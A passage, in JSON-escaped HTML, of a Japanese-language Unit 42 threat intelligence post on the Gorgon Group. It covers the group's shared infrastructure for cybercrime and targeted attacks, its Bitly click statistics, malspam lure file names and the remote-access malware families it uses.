data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/02\/word-image-133.png\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-133.png 750w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-133-300x174.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-133-370x215.png 370w\" sizes=\"(max-width: 750px) 100vw, 750px\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\">\u56f37: RAT\u3092\u63b2\u793a\u3057\u3066\u3044\u308b\u5730\u4e0b\u30d5\u30a9\u30fc\u30e9\u30e0<\/span><\/p>\n<p>fudpages\u306f\u9045\u304f\u3068\u30822016\u5e74\u304b\u3089\u5730\u4e0b\u3067\u6d3b\u52d5\u3057\u3066\u304a\u308a\u3001\u307e\u305f\u3001Youtube\u306e\u3088\u3046\u306a\u30b9\u30c8\u30ea\u30fc\u30df\u30f3\u30b0 \u30b5\u30a4\u30c8\u3067\u3082\u6d3b\u52d5\u3057\u3066\u3044\u3066\u3001\u30b5\u30a4\u30c8\u3092\u5e83\u544a\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u3068\u3057\u3066\u4f7f\u7528\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><img width=\"750\" height=\"729\"  class=\"wp-image-104148 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/02\/word-image-134.png\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-134.png 750w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-134-300x292.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-134-370x360.png 370w\" sizes=\"(max-width: 750px) 100vw, 750px\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\">\u56f38: \u60aa\u610f\u306e\u3042\u308b\u6d3b\u52d5\u3092\u5b9f\u884c\u3059\u308b\u65b9\u6cd5\u306b\u3064\u3044\u3066\u306eYoutube\u30d3\u30c7\u30aa\u6295\u7a3f<\/span><\/p>\n<p>Gorgon Group\u306e\u4ed6\u306e\u3059\u3079\u3066\u306e\u30e1\u30f3\u30d0\u30fc\u3068\u540c\u69d8\u306b\u3001Fudpage\u306e\u30aa\u30f3\u30e9\u30a4\u30f3 \u30d7\u30ed\u30d5\u30a1\u30a4\u30eb\u3001\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u306e\u5229\u7528\u5f62\u614b\u3084\u6a19\u6e96\u5316\u306f\u3001Gorgon Group\u306b\u7d50\u3073\u4ed8\u3044\u3066\u3044\u307e\u3059\u3002Gorgon Group\u3068\u306e\u3053\u306e\u7d50\u3073\u4ed8\u304d\u306f\u3001Gorgon Group\u304c\u6700\u3082\u983b\u7e41\u306b\u4f7f\u7528\u3059\u308b\u3001\u6a19\u6e96\u5316\u3055\u308c\u3066\u3044\u308b\u3088\u3046\u306b\u898b\u3048\u308b\u624b\u6cd5\u3092\u8aac\u660e\u3059\u308b\u306e\u306b\u5f79\u7acb\u3061\u307e\u3059\u3002<\/p>\n<h3><a id=\"post-104133-\u3064\u306e\u610f\u56f3-\u72af\u7f6a\u3068\u6a19\u7684\u578b\u653b\u6483\"><\/a>2\u3064\u306e\u610f\u56f3: \u72af\u7f6a\u3068\u6a19\u7684\u578b\u653b\u6483<\/h3>\n<p>\u8abf\u67fb\u306e\u4e00\u74b0\u3068\u3057\u3066\u3001Unit 42\u306e\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u306f\u3001\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u3068\u6a19\u7684\u578b\u653b\u6483\u306e\u5171\u6709\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u3092Gorgon Group\u306e\u69cb\u6210\u30e1\u30f3\u30d0\u30fc\u304c\u4f7f\u7528\u3059\u308b\u65b9\u6cd5\u306b\u3064\u3044\u3066\u8208\u5473\u6df1\u3044\u7279\u5fb4\u3092\u7279\u5b9a\u3067\u304d\u307e\u3057\u305f\u3002\u69cb\u6210\u30e1\u30f3\u30d0\u30fc\u306f\u3001\u305a\u3063\u3068\u540c\u3058\u30c9\u30e1\u30a4\u30f3\u306e\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u3092\u4f7f\u7528\u3057\u3066\u901a\u5e38\u306e\u72af\u7f6a\u3068\u6a19\u7684\u578b\u653b\u6483\u306e\u4e21\u65b9\u3092\u7d44\u307f\u5408\u308f\u305b\u3066\u304a\u308a\u3001TTP\u3092\u5909\u66f4\u3059\u308b\u3053\u3068\u306f\u3042\u307e\u308a\u3042\u308a\u307e\u305b\u3093\u3002<\/p>\n<p>2\u6708\u4e2d\u65ec\u304b\u3089\u3001Unit 42\u306e\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u306f\u3001\u72af\u7f6a\u3068\u6a19\u7684\u578b\u653b\u6483\u306bGorgon Group\u304c\u5229\u7528\u3059\u308b\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u306e\u5927\u90e8\u5206\u3092\u5171\u6709\u3057\u3066\u3044\u308b\u30a2\u30af\u30c6\u30a3\u30d6\u306a\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u8ffd\u8de1\u3057\u307e\u3057\u305f\u3002\u4e0b\u56f39\u3067\u3001\u8d64\u306f\u6a19\u7684\u578b\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306b\u95a2\u9023\u3059\u308b\u6a19\u7684\u306eIP\u30a2\u30c9\u30ec\u30b9\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u3001\u767b\u9332\u60c5\u5831\u3001\u304a\u3088\u3073\u30c9\u30e1\u30a4\u30f3\u3092\u793a\u3057\u3001\u9752\u306f\u72af\u7f6a\u7684\u653b\u6483\u306eIP\u30a2\u30c9\u30ec\u30b9\u3001\u4f7f\u7528\u30de\u30eb\u30a6\u30a7\u30a2\u3001\u767b\u9332\u60c5\u5831\u3001\u304a\u3088\u3073\u30c9\u30e1\u30a4\u30f3\u3092\u793a\u3057\u307e\u3059\u3002<\/p>\n<p><img width=\"750\" height=\"700\"  class=\"wp-image-104150 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/02\/word-image-135.png\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-135.png 750w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-135-300x280.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-135-370x345.png 370w\" sizes=\"(max-width: 750px) 100vw, 750px\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\">\u56f39: \u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u306e\u91cd\u8907<\/span><\/p>\n<p>Gorgon Group\u306e\u6d3b\u52d5\u3092\u7dcf\u62ec\u7684\u306b\u898b\u308b\u3068\u540c\u6642\u306b\u3001\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u671f\u9593\u4e2d\u306e\u7dcf\u30af\u30ea\u30c3\u30af\u6570\u3092\u898b\u3066\u3082\u8208\u5473\u6df1\u3044\u3082\u306e\u304c\u767a\u898b\u3067\u304d\u307e\u3059\u3002Bitly\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306e\u30af\u30ea\u30c3\u30af\u56de\u6570\u3092\u5229\u7528\u3057\u3066\u3001Gorgon Group\u306e\u6d3b\u52d5\u91cf\u304c4\u6708\u3092\u901a\u3058\u3066\u5897\u52a0\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3057\u305f\u3002<\/p>\n<p><img width=\"693\" height=\"493\"  class=\"wp-image-104152 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/02\/word-image-136.png\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-136.png 693w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-136-300x213.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-136-370x263.png 370w\" sizes=\"(max-width: 693px) 100vw, 693px\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\">\u56f310: Gorgon Group\u306e\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u3067\u7d4c\u6642\u7684\u306b\u5b9f\u884c\u3055\u308c\u305f\u7dcf\u30af\u30ea\u30c3\u30af\u56de\u6570<\/span><\/p>\n<p>\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u3068\u6a19\u7684\u578b\u653b\u6483\u306e\u4e21\u65b9\u3067\u4f7f\u7528\u3055\u308c\u305f1\u3064\u306e\u30c9\u30e1\u30a4\u30f3\u3092\u7279\u306b\u89b3\u5bdf\u3059\u308b\u3068\u3001\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u30df\u30af\u30ed\u306e\u8996\u70b9\u304b\u3089\u78ba\u8a8d\u3067\u304d\u307e\u3059\u30022018\u5e744\u67081\u65e5\u304b\u30892018\u5e745\u670830\u65e5\u307e\u3067\u306e\u9593\u3001\u30c9\u30e1\u30a4\u30f3stevemike-fireforce[.]info\u304c\u3001\u6700\u521d\u306e\u653b\u6483\u30672,300\u3092\u8d85\u3048\u308b\u96fb\u5b50\u30e1\u30fc\u30eb\u304a\u3088\u307319\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u304c\u95a2\u4e0e\u3059\u308bGorgon Group\u306e\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u6d3b\u52d5\u306b\u4f7f\u7528\u3055\u308c\u305f\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3057\u305f\u3002\u3053\u306e\u540c\u3058\u30c9\u30e1\u30a4\u30f3\u306f\u3001\u540c\u3058\u671f\u9593\u306b\u3044\u304f\u3064\u304b\u306e\u4e16\u754c\u4e2d\u306e\u56fd\u5bb6\u6a5f\u95a2\u306b\u5bfe\u3059\u308b\u6a19\u7684\u578b\u653b\u6483\u306b\u3082\u4f7f\u7528\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n<p>\u30c7\u30fc\u30bf\u5206\u6790\u306b\u3088\u3063\u3066\u3001Unit 42\u306e\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u306f\u3044\u304f\u3064\u304b\u306e\u7d50\u8ad6\u3092\u5f97\u307e\u3057\u305f\u3002<\/p>\n<ul>\n<li>\u3044\u304f\u3064\u304b\u306e\u56fa\u6709\u30c9\u30e1\u30a4\u30f3\u304c\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u3068\u6a19\u7684\u578b\u653b\u6483\u306e\u4e21\u65b9\u306b\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u3002<\/li>\n<li>\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u306e\u30bb\u30c3\u30b7\u30e7\u30f3\u306e\u91cf\u306f\u4e88\u60f3\u3069\u304a\u308a\u6a19\u7684\u578b\u653b\u6483\u3088\u308a\u3082\u591a\u3044\u3002<\/li>\n<li>\u6a19\u7684\u578b\u653b\u6483\u306e\u767a\u751f\u6642\u671f\u306b\u7279\u5b9a\u306e\u30d1\u30bf\u30fc\u30f3\u306f\u306a\u304f\u3001\u30c9\u30e1\u30a4\u30f3\u306f\u307e\u305a\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u306b\u4f7f\u7528\u3055\u308c\u3001\u307b\u3068\u3093\u3069\u306a\u3093\u306e\u524d\u89e6\u308c\u3082\u306a\u3044\u307e\u307e\u7d20\u65e9\u304f\u6a19\u7684\u578b\u653b\u6483\u306b\u4f7f\u7528\u3055\u308c\u308b\u3002<\/li>\n<\/ul>\n<p>\u4e0b\u56f311\u306e\u30b0\u30e9\u30d5\u30a3\u30c3\u30af\u8868\u793a\u306f\u3001\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u304c\u3042\u3063\u305f\u671f\u9593\u306b\u3053\u306e\u30c9\u30e1\u30a4\u30f3\u3067\u89b3\u5bdf\u3055\u308c\u305f\u56fa\u6709\u30bb\u30c3\u30b7\u30e7\u30f3\u306e\u91cf\u3092\u793a\u3057\u3066\u304a\u308a\u3001\u653b\u6483\u306e\u610f\u56f3\u304c2\u3064\u306e\u5225\u306e\u9818\u57df\u306b\u3042\u308b\u3053\u3068\u3092\u8868\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>4\u670824\u65e5\u3092\u89b3\u5bdf\u3059\u308b\u3068\u8208\u5473\u6df1\u3044\u4e8b\u5b9f\u3092\u767a\u898b\u3067\u304d\u307e\u3059\u3002\u3053\u306e\u30c9\u30e1\u30a4\u30f3\u306f\u3001\u4e16\u754c\u306e\u3044\u304f\u3064\u304b\u306e\u653f\u5e9c\u6a5f\u95a2\u3092\u72d9\u3063\u3066\u6a19\u7684\u578b\u653b\u6483\u3092\u914d\u4fe1\u3057\u3066\u3044\u3066\u3001\u305d\u306e\u6700\u4e2d\u306b\u30de\u30eb\u30b9\u30d1\u30e0\u6d3b\u52d5\u306e\u914d\u4fe1\u306b\u3082\u4f7f\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u6a19\u7684\u578b\u653b\u6483\u306b\u4f7f\u7528\u3055\u308c\u3066\u3044\u305f\u4ef6\u540d\u306f\u3001\u300cPakistan eying Sukhoi-35 figther planes as part of defense deal from Rusia\u300d\u3067\u3057\u305f\u3002<\/p>\n<p><img width=\"725\" height=\"606\"  class=\"wp-image-104154 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/02\/word-image-137.png\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-137.png 725w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-137-300x251.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-137-370x309.png 370w\" sizes=\"(max-width: 725px) 100vw, 725px\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\">\u56f311 stevemike-fireforce[.]info\u306b\u5bfe\u3059\u308b\u30af\u30e9\u30a4\u30e0\u30a6\u30a7\u30a2\u306e\u6d3b\u52d5\u3068\u6a19\u7684\u578b\u306e\u6d3b\u52d5<\/span><\/p>\n<p>\u6b21\u306e\u56f312\u3092\u307f\u308b\u3068\u3001\u65e5\u4ed8\u3054\u3068\u3001\u76ee\u7684\u3054\u3068\u306e\u56fa\u6709\u306e\u653b\u6483\u306e\u91cf\u3092\u3088\u308a\u660e\u78ba\u306b\u7406\u89e3\u3067\u304d\u307e\u3059\u3002\u6a19\u7684\u578b\u653b\u6483\u306e\u91cf\u3092\u8d64\u3067\u3001\u30af\u30e9\u30a4\u30e0\u30a6\u30a7\u30a2\u653b\u6483\u306e\u91cf\u3092\u7dd1\u3067\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><img width=\"637\" height=\"631\"  class=\"wp-image-104156 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/02\/word-image-138.png\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-138.png 637w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-138-300x297.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-138-150x150.png 150w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-138-370x367.png 370w\" sizes=\"(max-width: 637px) 100vw, 637px\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\">\u56f312: stevemike-fireforce[.]info\u3092\u4f7f\u7528\u3057\u305f\u30af\u30e9\u30a4\u30e0\u30a6\u30a7\u30a2\u6d3b\u52d5\u3068\u6a19\u7684\u578b\u6d3b\u52d5\u306e\u91cf<\/span><\/p>\n<p>1\u3064\u306e\u30c9\u30e1\u30a4\u30f3\u306b\u6ce8\u76ee\u3059\u308b\u3068\u3001\u305d\u306e\u4f7f\u7528\u91cf\u3092\u3059\u3070\u3084\u304f\u7406\u89e3\u3067\u304d\u3001\u305d\u308c\u304c\u3088\u308a\u5927\u898f\u6a21\u306a\u30de\u30eb\u30b9\u30d1\u30e0 \u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306b\u3069\u306e\u3088\u3046\u306b\u76f8\u4e92\u63a5\u7d9a\u3057\u3066\u3044\u308b\u304b\u3092\u3088\u308a\u660e\u78ba\u306b\u628a\u63e1\u3067\u304d\u307e\u3059\u3002<\/p>\n<h3><a id=\"post-104133-\u76ee\u76841-\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\"><\/a>\u76ee\u76841: \u30b5\u30a4\u30d0\u30fc\u72af\u7f6a<\/h3>\n<p>\u72af\u7f6a\u7684\u653b\u6483\u306f\u3001\u3053\u306e\u30b0\u30eb\u30fc\u30d7\u306b\u3068\u3063\u3066\u65b0\u3057\u3044\u3082\u306e\u3067\u306f\u306a\u304f\u3001\u3044\u304f\u3064\u304b\u306f\u3001Gorgon Group\u30e1\u30f3\u30d0\u30fc\u306eSubaat\u306b\u95a2\u3059\u308b\u4ee5\u524d\u306e<a href=\"https:\/\/blog.paloaltonetworks.com\/2017\/10\/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository\/\">\u30d6\u30ed\u30b0<\/a>\u3067\u53d6\u308a\u4e0a\u3052\u3089\u308c\u3066\u3044\u307e\u3059\u3002\u73fe\u5728\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u4e2d\u306b\u3001Gorgon Group\u306e\u72af\u7f6a\u6d3b\u52d5\u306f2\u6708\u4e2d\u65ec\u304b\u3089\u73fe\u5728\u307e\u3067\u3067132,840\u306eBitly\u30af\u30ea\u30c3\u30af\u3092\u5f97\u307e\u3057\u305f\u3002\u5927\u898f\u6a21\u306b\u8907\u6570\u306e\u696d\u754c\u3092\u6a2a\u65ad\u7684\u306b\u6a19\u7684\u3068\u3057\u3066\u3044\u308b\u305f\u3081\u3001\u72af\u7f6a\u6d3b\u52d5\u4e2d\u3001\u6a19\u7684\u306b\u95a2\u3059\u308b\u60c5\u5831\u306f\u307b\u3068\u3093\u3069\u3042\u308a\u307e\u305b\u3093\u3067\u3057\u305f\u3002<\/p>\n<p><img width=\"902\" height=\"645\"  class=\"wp-image-104158 alignnone lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/02\/word-image-139.png\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-139.png 902w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-139-300x215.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-139-768x549.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-139-900x644.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-139-370x265.png 370w\" sizes=\"(max-width: 902px) 100vw, 902px\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\"><em>\u56f313.\u5168\u4e16\u754c\u306b\u304a\u3051\u308b\u72af\u7f6a\u7684\u653b\u6483\u306b\u3088\u308bBitly\u30ea\u30f3\u30af\u306e\u30af\u30ea\u30c3\u30af\u6570<\/em><\/span><\/p>\n<p>\u30af\u30e9\u30a4\u30e0\u30a6\u30a7\u30a2\u914d\u4fe1\u306e\u5927\u90e8\u5206\u306f\u3001\u3088\u304f\u77e5\u3089\u308c\u305f\u300c\u767a\u6ce8\u66f8\u300d\u3084\u300c<a href=\"https:\/\/en.wikipedia.org\/wiki\/Society_for_Worldwide_Interbank_Financial_Telecommunication\">SWIFT<\/a>\u300d\u30eb\u30a2\u30fc(\u308f\u306a)\u3092\u5229\u7528\u3057\u305f\u6a19\u6e96\u306e\u30de\u30eb\u30b9\u30d1\u30e0 \u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u4ecb\u3057\u3066\u884c\u308f\u308c\u307e\u3057\u305f\u3002\u5927\u534a\u306e\u30d5\u30a1\u30a4\u30eb\u540d\u306b\u3001\u6b21\u306e\u3088\u3046\u306a\u30d5\u30a1\u30a4\u30eb\u540d\u306e\u30d0\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<ul>\n<li>SWIFT {Date}.doc<\/li>\n<li>SWIFT COPY.doc<\/li>\n<li>PURCHASE ORDER {Random Value}.doc \u3000(Purchase order=\u767a\u6ce8\u66f8)<\/li>\n<li>DHL_RECEIPT {Random Value}.doc<\/li>\n<li>SHIPPING RECEIPT {Date}.doc<\/li>\n<\/ul>\n<p>\u5b9f\u969b\u306e\u3068\u3053\u308d\u3001\u30b0\u30eb\u30fc\u30d7\u306b\u3088\u3063\u3066\u4f7f\u7528\u3055\u308c\u305f\u30c4\u30fc\u30eb\u306f\u3001\u4e00\u822c\u7684\u306a\u30af\u30e9\u30a4\u30e0\u30a6\u30a7\u30a2\u3068\u6a19\u7684\u578b\u306e\u653b\u6483\u3067\u306e\u9055\u3044\u306f\u3042\u308a\u307e\u305b\u3093\u3002\u3069\u3061\u3089\u306e\u5834\u5408\u3082\u3001\u3044\u304f\u3064\u304b\u306e\u30ea\u30e2\u30fc\u30c8 \u30a2\u30af\u30bb\u30b9\u3068\u30c7\u30fc\u30bf\u7a83\u53d6\u30de\u30eb\u30a6\u30a7\u30a2 \u30d5\u30a1\u30df\u30ea\u306b\u95a2\u9023\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u308c\u307e\u3067\u306b\u5b9f\u969b\u306b\u60aa\u610f\u304c\u3042\u308b\u3082\u306e\u3068\u3057\u3066\u7279\u5b9a\u3055\u308c\u305f\u4e0a\u4f4d5\u3064\u306e\u30de\u30eb\u30a6\u30a7\u30a2 \u30d5\u30a1\u30df\u30ea\u306f\u6b21\u306e\u3068\u304a\u308a\u3067\u3059\u3002<\/p>\n<ul>\n<li>NjRAT: NjRAT\u306f\u3001\u4e00\u822c\u306b\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u30ea\u30e2\u30fc\u30c8\u30a2\u30af\u30bb\u30b9 \u30c8\u30ed\u30a4\u306e\u6728\u99ac\u3067\u3001\u65e9\u304f\u30822013\u5e74\u304b\u3089\u72af\u7f6a\u7684\u653b\u6483\u3068\u6a19\u7684\u578b\u653b\u6483\u306e\u4e21\u65b9\u306e\u653b\u6483\u3067\u76ee\u6483\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/li>\n<li>RevengeRAT: RevengeRAT \u306f\u30012016\u5e74\u306b\u5730\u4e0b\u30d5\u30a9\u30fc\u30e9\u30e0\u3067\u7121\u6599\u3067\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u305f\u30ea\u30e2\u30fc\u30c8\u30a2\u30af\u30bb\u30b9 \u30c8\u30ed\u30a4\u306e\u6728\u99ac\u3067\u3059\u3002RevengeRAT\u306f\u6a19\u7684\u578b\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067\u4f7f\u7528\u3055\u308c\u308b\u3053\u3068\u3082\u3042\u308a\u307e\u3059\u304c\u3001\u4e00\u822c\u306b\u3001\u72af\u7f6a\u7684\u30de\u30eb\u30b9\u30d1\u30e0 \u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067\u76ee\u6483\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/li>\n<li>LokiBot: LokiBot\u306f\u3001\u5730\u4e0b\u30b5\u30a4\u30c8\u3067\u8ca9\u58f2\u3055\u308c\u3066\u3044\u308b\u5546\u7528\u30de\u30eb\u30a6\u30a7\u30a2\u3067\u3001\u611f\u67d3\u3057\u305f\u30de\u30b7\u30f3\u304b\u3089\u500b\u4eba\u30c7\u30fc\u30bf\u3092\u7a83\u53d6\u3057\u3001\u305d\u306e\u5f8c\u3001\u305d\u306e\u60c5\u5831\u3092HTTP POST\u3092\u4ecb\u3057\u3066\u30b3\u30de\u30f3\u30c9&amp;\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb \u30db\u30b9\u30c8\u3078\u9001\u4fe1\u3059\u308b\u3088\u3046\u306b\u8a2d\u8a08\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u3088\u3046\u306a\u500b\u4eba\u30c7\u30fc\u30bf\u306b\u306f\u3001\u4fdd\u5b58\u3055\u308c\u3066\u3044\u305f\u30d1\u30b9\u30ef\u30fc\u30c9\u3001Web\u30d6\u30e9\u30a6\u30b6\u304b\u3089\u306e\u30ed\u30b0\u30a4\u30f3\u8cc7\u683c\u60c5\u5831\u3001\u5404\u7a2e\u4eee\u60f3\u901a\u8ca8\u30a6\u30a9\u30ec\u30c3\u30c8\u304c\u542b\u307e\u308c\u307e\u3059\u3002<\/li>\n<li>RemcosRAT: RemcosRAT\u306f\u3001\u6700\u521d\u306b2016\u5e747\u6708\u306b\u5730\u4e0b\u30d5\u30a9\u30fc\u30e9\u30e0\u306b\u73fe\u308c\u305f\u30ea\u30e2\u30fc\u30c8\u30a2\u30af\u30bb\u30b9 \u30c8\u30ed\u30a4\u306e\u6728\u99ac\u3067\u3059\u3002RemcosRAT\u306f\u3001\u60aa\u610f\u306e\u3042\u308b\u30de\u30af\u30ed\u3092\u4f34\u3046Microsoft Word\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3092\u4f5c\u6210\u3067\u304d\u308b\u6a5f\u80fd\u8c4a\u5bcc\u306a\u30d3\u30eb\u30c0\u30fc\u3092\u5099\u3048\u3066\u3044\u307e\u3059\u3002<\/li>\n<li>NanoCoreRAT: \u4e00\u822c\u306b\u30d5\u30a3\u30c3\u30b7\u30f3\u30b0\u3092\u4ecb\u3057\u3066\u914d\u4fe1\u3055\u308c\u308bNanoCoreRAT\u306f\u3001\u30d0\u30c3\u30af \u30c9\u30a2\u3092\u958b\u3044\u3066\u3001\u4fb5\u5bb3\u3057\u305f\u30b3\u30f3\u30d4\u30e5\u30fc\u30bf\u304b\u3089\u60c5\u5831\u3092\u7a83\u53d6\u3059\u308b\u30ea\u30e2\u30fc\u30c8\u30a2\u30af\u30bb\u30b9 \u30c8\u30ed\u30a4\u306e\u6728\u99ac\u3067\u3059\u3002<\/li>\n<\/ul>\n<p>Gorgon Group\u306e\u72af\u7f6a\u6d3b\u52d5\u306b\u3064\u3044\u3066\u8208\u5473\u6df1\u3044\u70b9\u306e1\u3064\u304c\u3001Bitly\u306e\u4f7f\u7528\u6cd5\u3067\u3059\u3002\u5f7c\u3089\u306e\u6a19\u7684\u578b\u653b\u6483\u306e\u5834\u5408\u3068\u540c\u69d8\u306b\u3001Gorgon Group\u306f\u3001C2\u30c9\u30e1\u30a4\u30f3\u306e\u914d\u4fe1\u3068\u77ed\u7e2e\u306e\u305f\u3081\u306bBitly\u3092\u6d3b\u7528\u3057\u307e\u3057\u305f\u3002\u72af\u7f6a\u6d3b\u52d5\u3068\u6a19\u7684\u578b\u6d3b\u52d5\u306e\u53cc\u65b9\u3067\u540c\u3058\u624b\u6cd5\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u305f\u3081\u3001\u79c1\u305f\u3061\u306f\u3001Gorgon Group\u306e\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u3068\u6d3b\u52d5\u3092\u5bb9\u6613\u306b\u7dcf\u62ec\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3057\u305f\u3002<\/p>\n<p><img width=\"750\" height=\"410\"  class=\"wp-image-104160 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/02\/word-image-140.png\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-140.png 750w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-140-300x164.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-140-370x202.png 370w\" sizes=\"(max-width: 750px) 100vw, 750px\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\">\u56f314.\u72af\u7f6a\u7684\u653b\u6483\u3067\u306eBitly\u30ea\u30f3\u30af\u306e\u30af\u30ea\u30c3\u30af\u6570<\/span><em>\u00a0<\/em><\/p>\n<p>\u5168\u4f53\u3068\u3057\u3066\u3001Gorgon 